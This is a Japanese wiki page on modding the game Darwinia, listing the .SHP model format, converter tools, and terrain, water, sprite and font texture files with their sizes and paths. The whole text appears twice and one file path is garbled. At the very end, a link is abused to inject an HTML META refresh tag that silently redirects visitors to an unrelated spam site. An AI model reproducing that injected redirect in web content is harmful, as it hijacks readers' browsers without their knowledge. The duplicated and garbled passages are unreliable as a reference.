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*3Dオブジェクト ゲームで使用できるのは.SHP形式。[[公式サイト>http://www.darwinia.co.uk/community/modding.html]]に3d Studio Max5向けの3Dファイル及び、エクスポートプラグインがある。 .SHP形式の説明や、ASE形式からの変換スクリプトは[[Nihils Darwinia Modding Pages>http://www.nihilesthetics.info/DarwiniaModding/ModdingDarwinia.htm]]を参照 テクスチャ画像ではなく、頂点カラーを使って色を指定している。 メタセコイアのmqo形式からASE形式に変換する[[MQO Reader>http://squeak.qp.land.to/index.php?MQO%20Reader]]と、上のASE形式からの変換スクリプトを組み合わせれば3d Studio Max無しでもなんとかできるかも?(スケーリング、オブジェクトマーキングなどの問題は残るが…) SHPファイルをメタセコイア形式に変換する試作ツール:[[SHP2MQO>http://www8.atwiki.jp/darwinian/?cmd=upload&act=open&pageid=30&file=SHP2MQO.zip]] .Net Frameworkのインストールが必要。 *地形テクスチャ data\terrainフォルダに地形用テクスチャが置かれている。 **陸地 64x64のBMP画像(24bit)一枚を32x32の4枚の部分(地形の高低、平地か斜面)に分けて割り当て。 左上:低、平地 右上:低、斜面 左下:高、平地 右下:高、斜面 -landscape_containment.bmp -landscape_default.bmp -landscape_desert.bmp -landscape_earth.bmp -landscape_icecaps.bmp -landscape_launchpad.bmp -landscape_mine2.bmp -landscape_mine.bmp **海 水面:128x128BMP(8bit) -water_default.bmp -water_icecaps.bmp -water_launchpad.bmp 波のグラデーション:400x10BMP(24bit) -waves_containmentfield.bmp -waves_default.bmp -waves_desert.bmp -waves_earth.bmp -waves_generator.bmp -waves_icecaps.bmp -waves_launchpad.bmp *博士の顔 main.dat内 -data\sepulveda\sepulveda1.bmp -data\sepulveda\sepulveda2.bmp -data\sepulveda\sepulveda3.bmp -data\sepulveda\sepulveda4.bmp -data\sepulveda\sepulveda5.bmp 256x256、8bit(256色)のbmp画像。 *アイコン画像 data\icons プログラム選択アイコン、ジェスチャ表示、カーソル *スプライト data\sprites Darwinian、卵、サンタ帽、viriiの三角 *フォント language.dat内 -data\textures\editor_font_[normal/言語名].bmp -data\-リスト textur-リスト es\speccy_font_[normal/言語名].bmp *その他テクスチャ data\textures レーザー、パーティクル、雲、光など
*3Dオブジェクト ゲームで使用できるのは.SHP形式。[[公式サイト&gt;http://www.darwinia.co.uk/community/modding.html]]に3d Studio Max5向けの3Dファイル及び、エクスポートプラグインがある。 .SHP形式の説明や、ASE形式からの変換スクリプトは[[Nihils Darwinia Modding Pages&gt;http://www.nihilesthetics.info/DarwiniaModding/ModdingDarwinia.htm]]を参照 テクスチャ画像ではなく、頂点カラーを使って色を指定している。 メタセコイアのmqo形式からASE形式に変換する[[MQO Reader&gt;http://squeak.qp.land.to/index.php?MQO%20Reader]]と、上のASE形式からの変換スクリプトを組み合わせれば3d Studio Max無しでもなんとかできるかも?(スケーリング、オブジェクトマーキングなどの問題は残るが…) SHPファイルをメタセコイア形式に変換する試作ツール:[[SHP2MQO&gt;http://www8.atwiki.jp/darwinian/?cmd=upload&amp;act=open&amp;pageid=30&amp;file=SHP2MQO.zip]] .Net Frameworkのインストールが必要。 *地形テクスチャ data\terrainフォルダに地形用テクスチャが置かれている。 **陸地 64x64のBMP画像(24bit)一枚を32x32の4枚の部分(地形の高低、平地か斜面)に分けて割り当て。 左上:低、平地 右上:低、斜面 左下:高、平地 右下:高、斜面 -landscape_containment.bmp -landscape_default.bmp -landscape_desert.bmp -landscape_earth.bmp -landscape_icecaps.bmp -landscape_launchpad.bmp -landscape_mine2.bmp -landscape_mine.bmp **海 水面:128x128BMP(8bit) -water_default.bmp -water_icecaps.bmp -water_launchpad.bmp 波のグラデーション:400x10BMP(24bit) -waves_containmentfield.bmp -waves_default.bmp -waves_desert.bmp -waves_earth.bmp -waves_generator.bmp -waves_icecaps.bmp -waves_launchpad.bmp *博士の顔 main.dat内 -data\sepulveda\sepulveda1.bmp -data\sepulveda\sepulveda2.bmp -data\sepulveda\sepulveda3.bmp -data\sepulveda\sepulveda4.bmp -data\sepulveda\sepulveda5.bmp 256x256、8bit(256色)のbmp画像。 *アイコン画像 data\icons プログラム選択アイコン、ジェスチャ表示、カーソル *スプライト data\sprites Darwinian、卵、サンタ帽、viriiの三角 *フォント language.dat内 -data\textures\editor_font_[normal/言語名].bmp -data\-リスト textur-リスト es\speccy_font_[normal/言語名].bmp *その他テクスチャ data\textures レーザー、パーティクル、雲、光など[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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